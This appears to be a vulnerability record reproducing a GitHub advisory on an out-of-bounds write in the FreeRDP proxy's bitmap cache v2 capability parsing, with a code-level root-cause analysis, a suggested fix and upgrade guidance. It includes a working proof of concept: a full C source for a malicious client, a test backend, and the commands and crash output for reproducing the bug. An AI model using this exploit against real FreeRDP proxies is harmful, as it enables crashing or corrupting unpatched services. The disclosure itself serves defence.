FreeRDP proxy out-of-bounds write in bitmap cache v2 capability handling
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
FreeRDP through 3.32.1 has an out-of-bounds write in the proxy's bitmap cache v2 capability handling. The capability parser accepts a numCellCaches value below 5, and the proxy then indexes its cell info array at fixed positions 0 through 4, writing past the allocation. A client that can reach the proxy port and complete the connection sequence up to Confirm Active can trigger this, and an authenticated peer is still treated as untrusted. The missing bounds check can corrupt adjacent heap memory, disclose heap contents to the backend, or crash the proxy when numCellCaches is 0.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
# FreeRDP proxy out-of-bounds write in bitmap cache v2 capability handling ## Summary A client that can connect to the proxy's listening port and complete X.224, MCS, and GCC up to sending a Confirm Active can declare numCellCaches below 5. When the proxy then connects to its backend and sends its own Confirm Active, it indexes BitmapCacheV2CellInfo at the fixed positions 0 through 4, which no longer exist: the process writes 4 bytes past the allocation (corrupting an adjacent heap object), serializes adjacent heap content into the Confirm Active it sends to the backend, or dereferences a null pointer when numCellCaches is 0. Where the proxy configuration requires authentication the peer must authenticate first, but an authenticated peer remains untrusted in the threat model. The behavior was checked on the latest commit. ## Technical Details The missing check is in `rdp_read_bitmap_cache_v2_capability_set` (`libfreerdp/core/capabilities.c:2080-2095`): it rejects only numCellCaches greater than 5, so values 0 through 4 are accepted, and nothing later renormalizes the array back to five elements. The ineffective sanitizer is the same upper-bound-only test at `libfreerdp/core/capabilities.c:2081-2087`. Data flow: `rdp_recv_confirm_active` (`libfreerdp/core/capabilities.c:4762-4834`) receives the client Confirm Active and enters capability parsing and application; `rdp_read_bitmap_cache_v2_capability_set` writes the peer's numCellCaches into settings BitmapCacheV2NumCells; `rdp_apply_bitmap_cache_v2_capability_set` (`libfreerdp/core/capabilities.c:2038-2051`) calls `freerdp_settings_set_pointer_len` to free and reallocate BitmapCacheV2CellInfo to exactly the peer-declared count, leaving the pointer empty when that count is 0; `pf_server_post_connect` (`server/proxy/pf_server.c:329-348`) uses those rewritten server settings as the source when `pf_context_create_client_context` builds the upstream client context; `freerdp_settings_int_buffer_copy` (`libfreerdp/core/settings.c:1430-1444`) copies the array with n equal to the source-side BitmapCacheV2NumCells, carrying the shrunken length into the upstream client settings; `rdp_write_bitmap_cache_v2_capability_set` (`libfreerdp/core/capabilities.c:2122-2148`) then unconditionally reads and, when persistent keys are set, writes BitmapCacheV2CellInfo indices 0 through 4 while the proxy acts as the client. `rdp_send_client_persistent_key_list_pdu` (`libfreerdp/core/activation.c:362-375`) likewise accesses index 4 of that array. ## Impact The proxy process suffers cross-boundary memory corruption: a 4-byte heap out-of-bounds write that can damage an adjacent heap object, disclosure of adjacent heap contents serialized into the Confirm Active the proxy sends to the backend, or an immediate crash when numCellCaches is 0. The affected assets are the proxy process's memory integrity and availability. ## Proof of Concept Checked against commit `651ab269524adbda4d673efa60d2e391ef7555a7`. Build from a checkout of that commit: ```text git checkout 651ab269524adbda4d673efa60d2e391ef7555a7 cmake -S . -B build -DWITH_SERVER=ON -DWITH_PROXY=ON cmake --build build ``` Input: a stock FreeRDP client core whose Confirm Active BITMAP_CACHE_V2 capability declares numCellCaches outside the array size. The proxy is configured with the front-end endpoint on 127.0.0.1:39100 and the backend target on 127.0.0.1:39101. The upstream target accepts the proxy's client connection and drives the server state machine far enough to emit Demand Active. ```text ./build/backend 39101 cert.pem key.pem ./build/freerdp-proxy proxy.ini ./build/malclient 127.0.0.1 39100 0 ``` Observed output: ```text [*] launching malicious client (numCellCaches=0) Aborted (core dumped) freerdp-proxy proxy.ini [*] proxy exit status: 134 [malclient] connecting to 127.0.0.1:39100 with BitmapCacheV2NumCells=0 [malclient] connected; holding for 4 s [backend] listening on 127.0.0.1:39101 [backend] peer accepted REPRO_RESULT: reproduced ``` ```text [FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((cellInfo)) [libfreerdp/core/capabilities.c:rdp_write_bitmap_cache_cell_info:2019] [FATAL][com.freerdp.winpr.assert] - [winpr_log_backtrace_ex]: 2: dli_fname=libwinpr3.so.3, dli_sname=winpr_log_backtrace_ex [FATAL][com.freerdp.winpr.assert] - [winpr_log_backtrace_ex]: 3: dli_fname=libwinpr3.so.3, dli_sname=winpr_int_assert [FATAL][com.freerdp.winpr.assert] - [winpr_log_backtrace_ex]: 16: dli_fname=libfreerdp3.so.3, dli_sname=freerdp_connect ``` The `dli_sname=freerdp_connect` frame places the crash in the proxy's client thread while it writes its Confirm Active; the backend logs peer accepted and then a reset, matching that timing. A second sink corroborates the shrunken array: with numCellCaches=2 and persistent keys set, the proxy log shows ```text [FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((settings->BitmapCacheV2CellInfo[4].numEntries <= 65535)) [libfreerdp/core/activation.c:rdp_send_client_persistent_key_list_pdu:374] ``` i.e. index 4 read from a 2-element heap array. The run matrix was: numCellCaches=5, persistent=0 → proxy survives (baseline); numCellCaches=2, persistent=0 → proxy survives but the backend receives numCellCaches=2 from the proxy's client, showing the shrunken length propagates; numCellCaches=0 → deterministic SIGABRT, exit code 134; numCellCaches=1/2/3 with persistent=1 → SIGABRT at the `activation.c:374` out-of-bounds read of BitmapCacheV2CellInfo[4]; numCellCaches=4 with persistent=1 → survives because the adjacent heap content happens to satisfy the assertion, so that read's crash depends on heap content. Limitation, recorded as observed: the linked libraries in this run had no sanitizer runtime and no `__asan` symbols, so the main sink's out-of-bounds heap read/write was not captured by instrumentation; the crashes above are the deterministic null dereference (numCellCaches=0) and the `activation.c:374` out-of-bounds-read assertion (numCellCaches=1..3 with persistent keys), which together establish an array shorter than the five elements the writers index. PoC sources: `malclient.c` ```c /* * Malicious RDP client: a stock FreeRDP client-core connection, except that it * advertises numCellCaches = 2 in its Confirm Active BITMAP_CACHE_V2 capability * set. This is exactly the untrusted-client input the finding describes. * * Usage: malclient <host> <port> <numCellCaches> <lifetime-seconds> */ #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <freerdp/client.h> #include <freerdp/client/cmdline.h> #include <winpr/wlog.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int accept_all_certs(freerdp* instance, const BYTE* data, size_t length, const char* hostname, UINT16 port, DWORD flags) { (void)instance; (void)data; (void)length; (void)hostname; (void)port; (void)flags; return 1; } int main(int argc, char** argv) { const char* host = NULL; int port = 0; UINT32 numCells = 2; int lifetime = 8; int persist = 0; RDP_CLIENT_ENTRY_POINTS entry = WINPR_C_ARRAY_INIT; rdpContext* context = NULL; /* The command line parser masks credential arguments in place, so the * argument strings must live in writable buffers (as real argv does). */ char arg0[] = "malclient"; char arg_cert[] = "/cert:ignore"; char arg_user[] = "/u:pocuser"; char arg_pass[] = "/p:pocpass"; char arg_sec[] = "/sec:tls"; char arg_log[] = "/log-level:ERROR"; char vbuf[128] = WINPR_C_ARRAY_INIT; char* cargv[8] = WINPR_C_ARRAY_INIT; int cargc = 0; if (argc < 3) { fprintf(stderr, "usage: %s <host> <port> [numCells] [lifetime] [persist:0|1]\n", argv[0]); return 2; } host = argv[1]; port = atoi(argv[2]); if (argc >= 4) numCells = (UINT32)strtoul(argv[3], NULL, 0); if (argc >= 5) lifetime = atoi(argv[4]); if (argc >= 6) persist = atoi(argv[5]); entry.Size = sizeof(RDP_CLIENT_ENTRY_POINTS); entry.Version = RDP_CLIENT_INTERFACE_VERSION; entry.ContextSize = sizeof(rdpClientContext); context = freerdp_client_context_new(&entry); if (!context) return 1; context->instance->ChooseSmartcard = NULL; context->instance->PresentGatewayMessage = NULL; context->instance->LogonErrorInfo = NULL; context->instance->VerifyCertificateEx = NULL; context->instance->VerifyChangedCertificateEx = NULL; context->instance->VerifyX509Certificate = accept_all_certs; if (!freerdp_settings_set_bool(context->settings, FreeRDP_DeactivateClientDecoding, TRUE)) return 1; (void)snprintf(vbuf, sizeof(vbuf), "/v:%s:%d", host, port); cargv[cargc++] = arg0; cargv[cargc++] = vbuf; cargv[cargc++] = arg_cert; cargv[cargc++] = arg_user; cargv[cargc++] = arg_pass; cargv[cargc++] = arg_sec; cargv[cargc++] = arg_log; if (freerdp_client_settings_parse_command_line(context->settings, cargc, cargv, FALSE) < 0) { fprintf(stderr, "[malclient] command line parse failed\n"); return 1; } if (!freerdp_client_load_addins(context->channels, context->settings)) { fprintf(stderr, "[malclient] load addins failed\n"); return 1; } /* The malicious capability value the finding is about. */ if (!freerdp_settings_set_uint32(context->settings, FreeRDP_BitmapCacheV2NumCells, numCells)) return 1; /* Optionally set PERSISTENT_KEYS_EXPECTED_FLAG, which turns the proxy's * fixed-index array access into an out-of-bounds *write*. */ if (!freerdp_settings_set_bool(context->settings, FreeRDP_BitmapCachePersistEnabled, persist ? TRUE : FALSE)) return 1; fprintf(stderr, "[malclient] connecting to %s:%d with BitmapCacheV2NumCells=%u\n", host, port, (unsigned)freerdp_settings_get_uint32(context->settings, FreeRDP_BitmapCacheV2NumCells)); fflush(stderr); if (!freerdp_connect(context->instance)) { fprintf(stderr, "[malclient] freerdp_connect failed (last error 0x%08X)\n", freerdp_get_last_error(context)); fflush(stderr); freerdp_client_context_free(context); return 1; } fprintf(stderr, "[malclient] connected; holding for %d s\n", lifetime); fflush(stderr); sleep((unsigned)lifetime); freerdp_disconnect(context->instance); freerdp_client_context_free(context); fprintf(stderr, "[malclient] done\n"); return 0; } ``` `backend.c` ```c /* * Minimal headless RDP server (peer) used as the proxy's upstream target. * * It only needs to accept the proxy's outgoing client connection and drive the * real FreeRDP server state machine far enough to emit the Demand Active PDU. * Once the proxy receives that Demand Active it serializes its own Confirm * Active, which is where the audited out-of-bounds access happens. * * Usage: backend <listen-port> <cert.pem> <key.pem> */ #include <freerdp/listener.h> #include <freerdp/peer.h> #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <freerdp/constants.h> #include <freerdp/crypto/certificate.h> #include <freerdp/crypto/privatekey.h> #include <freerdp/channels/wtsvc.h> #include <freerdp/channels/channels.h> #include <winpr/ssl.h> #include <winpr/wlog.h> #include <winpr/assert.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MAX_PEERS 16 typedef struct { rdpContext _p; HANDLE vcm; } backendContext; static volatile sig_atomic_t g_stop = 0; static freerdp_peer* g_peers[MAX_PEERS]; static int g_count = 0; static void on_signal(int sig) { (void)sig; g_stop = 1; } static BOOL be_context_new(freerdp_peer* peer, rdpContext* ctx) { backendContext* c = (backendContext*)ctx; WINPR_ASSERT(peer); WINPR_ASSERT(c); c->vcm = WTSOpenServerA((LPSTR)peer->context); if (!c->vcm || (c->vcm == INVALID_HANDLE_VALUE)) return FALSE; return TRUE; } static void be_context_free(freerdp_peer* peer, rdpContext* ctx) { backendContext* c = (backendContext*)ctx; WINPR_UNUSED(peer); if (c && c->vcm && (c->vcm != INVALID_HANDLE_VALUE)) WTSCloseServer(c->vcm); } static BOOL be_post_connect(freerdp_peer* peer) { rdpSettings* settings = peer->context->settings; fprintf(stderr, "[backend] peer PostConnect (client Confirm Active advertised numCellCaches=%u)\n", (unsigned)freerdp_settings_get_uint32(settings, FreeRDP_BitmapCacheV2NumCells)); fflush(stderr); return TRUE; } static BOOL be_activate(freerdp_peer* peer) { WINPR_UNUSED(peer); fprintf(stderr, "[backend] peer Activate\n"); fflush(stderr); return TRUE; } static int be_vc_read(freerdp_peer* peer, HANDLE hChannel, BYTE* buffer, UINT32 length) { WINPR_UNUSED(peer); WINPR_UNUSED(hChannel); WINPR_UNUSED(buffer); WINPR_UNUSED(length); return 0; } static BOOL be_peer_accepted(freerdp_listener* instance, freerdp_peer* peer) { rdpSettings* settings = NULL; rdpCertificate* cert = NULL; rdpPrivateKey* key = NULL; const char* certfile = getenv("BACKEND_CERT"); const char* keyfile = getenv("BACKEND_KEY"); WINPR_UNUSED(instance); WINPR_ASSERT(peer); peer->ContextSize = sizeof(backendContext); peer->ContextNew = be_context_new; peer->ContextFree = be_context_free; if (!freerdp_peer_context_new(peer)) return FALSE; settings = peer->context->settings; WINPR_ASSERT(settings); cert = freerdp_certificate_new_from_file(certfile); if (!cert) { fprintf(stderr, "[backend] cannot load certificate %s\n", certfile ? certfile : "(null)"); return FALSE; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, cert, 1)) return FALSE; key = freerdp_key_new_from_file(keyfile); if (!key) { fprintf(stderr, "[backend] cannot load key %s\n", keyfile ? keyfile : "(null)"); return FALSE; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, key, 1)) return FALSE; /* Offer both plain RDP and TLS security so the proxy can pick whatever it wants. */ if (!freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, TRUE)) return FALSE; if (!freerdp_settings_set_bool(settings, FreeRDP_UseRdpSecurityLayer, TRUE)) return FALSE; if (!freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE)) return FALSE; if (!freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE)) return FALSE; if (!freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE)) return FALSE; if (!freerdp_settings_set_uint32(settings, FreeRDP_EncryptionLevel, ENCRYPTION_LEVEL_NONE)) return FALSE; peer->PostConnect = be_post_connect; peer->Activate = be_activate; peer->VirtualChannelRead = be_vc_read; if (!peer->Initialize(peer)) return FALSE; if (g_count < MAX_PEERS) g_peers[g_count++] = peer; fprintf(stderr, "[backend] peer accepted\n"); fflush(stderr); return TRUE; } int main(int argc, char** argv) { int port = 0; freerdp_listener* listener = NULL; if (argc < 2) { fprintf(stderr, "usage: %s <listen-port> <cert> <key>\n", argv[0]); return 2; } port = atoi(argv[1]); if (argc >= 4) { setenv("BACKEND_CERT", argv[2], 1); setenv("BACKEND_KEY", argv[3], 1); } signal(SIGINT, on_signal); signal(SIGTERM, on_signal); if (!WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi())) return 1; (void)winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT); WLog_SetLogLevel(WLog_GetRoot(), WLOG_ERROR); listener = freerdp_listener_new(); if (!listener) return 1; listener->PeerAccepted = be_peer_accepted; if (!listener->Open(listener, "127.0.0.1", (UINT16)port)) { fprintf(stderr, "[backend] cannot bind port %d\n", port); return 1; } fprintf(stderr, "[backend] listening on 127.0.0.1:%d\n", port); fflush(stderr); while (!g_stop) { listener->CheckFileDescriptor(listener); for (int i = 0; i < g_count; i++) { freerdp_peer* peer = g_peers[i]; if (!peer) continue; if (!peer->CheckFileDescriptor(peer)) { fprintf(stderr, "[backend] peer disconnected\n"); fflush(stderr); freerdp_peer_context_free(peer); freerdp_peer_free(peer); g_peers[i] = NULL; continue; } if (peer->context) { backendContext* c = (backendContext*)peer->context; if (c->vcm && (c->vcm != INVALID_HANDLE_VALUE)) (void)WTSVirtualChannelManagerCheckFileDescriptor(c->vcm); } } usleep(5000); } for (int i = 0; i < g_count; i++) { if (g_peers[i]) { freerdp_peer_context_free(g_peers[i]); freerdp_peer_free(g_peers[i]); } } freerdp_listener_free(listener); fprintf(stderr, "[backend] stopped\n"); return 0; } ``` ## Suggested Fix Fix the check that currently only rejects numCellCaches greater than 5. `rdp_read_bitmap_cache_v2_capability_set` (`libfreerdp/core/capabilities.c:2080-2095`) must reject any numCellCaches other than the five cells the writers index, or `rdp_apply_bitmap_cache_v2_capability_set` (`libfreerdp/core/capabilities.c:2038-2051`) must always keep BitmapCacheV2CellInfo at its fixed size of 5 regardless of the peer-declared count, so that the fixed indices 0 through 4 used by `rdp_write_bitmap_cache_v2_capability_set` and `rdp_send_client_persistent_key_list_pdu` are always in bounds and the pointer is never empty.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-xc85-4mqc-xgcx |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-xc85-4mqc-xgcx
Remediation
Upgrade FreeRDP to version 3.32.2 or later, which fixes the issue. The sources list no fixed version for other FreeRDP branches.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-xc85-4mqc-xgcx FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-xc85-4mqc-xgcx
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences